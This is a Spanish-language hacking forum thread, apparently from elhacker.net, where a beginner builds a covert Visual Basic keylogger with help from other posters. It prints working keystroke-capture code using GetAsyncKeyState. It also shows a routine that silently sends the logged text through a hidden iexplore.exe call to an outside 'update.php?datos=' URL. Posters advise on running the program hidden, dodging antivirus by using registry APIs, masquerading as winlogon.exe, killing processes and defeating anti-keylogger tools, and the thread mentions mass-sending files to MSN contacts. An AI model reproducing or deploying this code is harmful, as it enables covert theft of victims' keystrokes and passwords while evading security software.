Mensajes

Hola... wenas, tengo unas cuantas dudillas.... gracias a un compañero (NYLON) y a (REYDELMUNDO) que me comentaron la idea de 1.- mandar un archivo por msn y 2.- publikar kosas por este mismo... Todo con VB.

Dejen me expliko mejor...
Busko hacer un programa en Vb, que buske la ventana de msn... abra una conversacion con kada uno de los contactos... y ya sea mandar un saludo, o mandar un archivo.

El kodigo para esto ya lo tengo, gracias a un post que puso rey hace tiempo...
Pero, mi problema es el siguiente.
Uso Win Xp, y como esta version tiene el Windows Messenger, lo que hace el codigo que baje del post de reydelmundo es abrirme el Win messenger, en vez de usar el Msn messenger.

Segun NYLON y estoy de acuerdo con el tengo que tener desinstalado el win messenger para que ahora llame al Msn Messenger.
Pero... No se puede hacer esto sin tener que desinstalarlo?

Alguna idea??????

una pregunta... que en System32 no esta el proceso original de winlogon.exe???????
Esto no afectaria a nuestro copy?
o no dañaria al archivo de winlogon.exe original?

y para editar el registro mejor usa apis!, pke esos scripts seran detectados como virus...
Saludos!

el kambiarle el nombre al proceso no ayuda en nada jejejeje...
El antikeylogger que uso es Advance Antikeylogger 3.61

Eso si... como menciona Nylon, los Antikeyloggers no se usan mucho

Weno pues... sip, como dicen todos y como yo no keria kreer pke se me hace mas dificil ese metodo, lo mejor es Hookear el teclado!, ya lo logre... Pero me encontre con otro problema!

Los antikeyloggers...
Esos que detectan los programas que hookean. e incluso me detecto el keylogger del kodigo que puse al inicio de todo este post.

Los antikeyloggers detectan todo  , mi pregunta es... Como burlarlos?
Precisamente hace un momento le pregunte a DEX, le comente que, hay procesos naturales de windows que tmb hacen sus hooks, y que el antikeylogger no los detecta...
entonces... Como hacerle kreer al antikeylogger que este keylogger es un proceso natural de windows?

Dex me dio la respuesta xD... no se puede!.
Pke se necesita un documento firmado de valided.

Alguien sabe burlar esto?

Oh....... lo siento, eske no entendi lo que me habias dichoOo!
>.<


Pero ya solucione el problema es que si el textbox tiene mas de 1900 caracteres no puede mandarlos...
Lo que hice fue ponerle un limite al textbox de 1800 y cuando se llene los manda...
Ya funciona correctamente  GRACIAS!!!!!!!

muchas gracias... Jajajaja, aunke ahora esta mas loko, escribe "TAB" cuando oprimo "CONTROL" jajajajajajajaja...
Hay un error en el codigo, ahora deja lo analizo para detectarloOo!.

Muchas gracias! ahora ya me diste una idea de como funciona! =) gracias....

yo se como hacer que se ejecute ocultoOo...
pero el problema es que si text1 tiene mas de 1800 caracteres el comando no funciona!!!!!!

para que se ejecute oculto cambia el 1 por un 0
jajajaja y ya!

Jajaja, muchas gracias por sus codigoOos!...
pero en realidad como voy empezando con la programacion no supe como usar el select case xD.
Lo que mejor hize fue kitar ciertos karacteres que no me servirian de nada por ejemplo "º" "ª" etc... xDDDD.
y se redujo un poko el codigoOo...
Aki se los dejo por si les ayuda en algo...
Si alguien lo kiere reducir mas, k me lo mande!!!!! xDDDD

Código [Seleccionar] Expandir


Private Sub Timer1_Timer()
On Error Resume Next

Call ReadClipBoard

For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
  If GetAsyncKeyState(SHIFT) < 0 Then
   TypeWindow
   If GetKeyState(CAPITAL) > 0 Then
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
   
  Else
   If GetKeyState(CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
 
End If
Next

For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i)
  Exit Sub
  Else
  Text1 = Text1 & Chr(i)
  Exit Sub
  End If
End If
Next

For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & Chr2(i)
  Exit Sub
  End If
 
End If
Next

For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & Chr2(i)
  Exit Sub
  End If
End If
Next

For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
  Text1 = Text1 & Chr2(i)
  Exit Sub
End If
Next

  If GetAsyncKeyState(8) = -32767 Then
If (Right(Text1, 1) = " ") Then GoTo nod
tip = Len(Text1) - 1
  Text1 = Left(Text1, tip)
nod:
End If

If GetAsyncKeyState(9) = -32767 Then
  Text1 = Text1 & "[Tab]"
End If

If GetAsyncKeyState(13) = -32767 Then
  Text1 = Text1 & "<br>"
End If

If GetAsyncKeyState(17) = -32767 Then
  Text1 = Text1 & "[Ctrl]"
End If

If GetAsyncKeyState(18) = -32767 Then
  Text1 = Text1 & "[Alt]"
End If
 
If GetAsyncKeyState(27) = -32767 Then
  Text1 = Text1 & "[Esc]"
End If

If GetAsyncKeyState(32) = -32767 Then
  Text1 = Text1 & " "
End If

   If GetAsyncKeyState(91) = -32767 Then
  Text1 = Text1 & "[Win]"
End If
 
If GetAsyncKeyState(92) = -32767 Then
  Text1 = Text1 & "[Win]"
End If

End Sub
Function CodigosRaros()
Chr2(49) = "!"
Chr2(50) = "@"
Chr2(52) = "$"
Chr2(55) = "/"
Chr2(56) = "("
Chr2(57) = ")"
Chr2(186) = "`"
Chr2(187) = "+"
Chr2(188) = ","
Chr2(189) = "-"
Chr2(190) = "."
Chr2(219) = "'"
Chr2(221) = "¡"
Chr2(222) = "´"
Chr2(86) = "^"
Chr2(87) = "*"
Chr2(88) = ";"
Chr2(89) = "_"
Chr2(90) = ":"
Chr2(119) = "?"
Chr2(121) = "¿"
Chr2(122) = """"
Chr2(96) = "0"
Chr2(97) = "1"
Chr2(98) = "2"
Chr2(99) = "3"
Chr2(100) = "4"
Chr2(101) = "5"
Chr2(102) = "6"
Chr2(103) = "7"
Chr2(104) = "8"
Chr2(105) = "9"
Chr2(106) = "*"
Chr2(107) = "+"
Chr2(109) = "-"
Chr2(110) = "."
Chr2(111) = "/"
Chr2(192) = "ñ"
Chr2(92) = "Ñ"
End Function


[http://foro.elhacker.net/index.php/topic,84182.0.html]

Si, si se puede... Solo tienes que buskar un poko amigoOo jejeje...
Puedes buskar "killprocess" aki en el foro.

Aki te dejo un ejemplo puesto por Nylon...
muy buenoOo!, es el que uso en mi keylogger xDDDDD.

http://foro.elhacker.net/index.php/topic,84182.0.html

SaludoOoOos!

Mhhh... sigue igual, intente como dijiste yeikos y nada...
Si, el problema esta cuando le digo que ademas de la url meta a text1.text.......
Tambien intente asi:

Código [Seleccionar] Expandir


Private Sub Timer2_Timer()
Dim hola As String
hola = "www.google.com" & Text1.Text
If Len(Text1) >= 2000 Then
Call ShellExecute(hwnd, "Open", ("iexplore.exe"), "http://www.misitio.com/update.php?datos=" & Text1.Text, vbNullString, 0)Text1 = ""
End If
End Sub

y nada...... Jejejeje

existe otra forma de abrir archivos?
con el Shell si me funciona... pero me han dicho que es detectado por antivirus.
Mhhh.... como podria hacerle?

me akabo de dar cuenta que si text1.text tiene mas de 1900 caracteres escritos no se manda......
no se que suceda.
Se puede hacer que text1.text tenga limite de escritura???????????????????
precisamente de 1900 caracteres????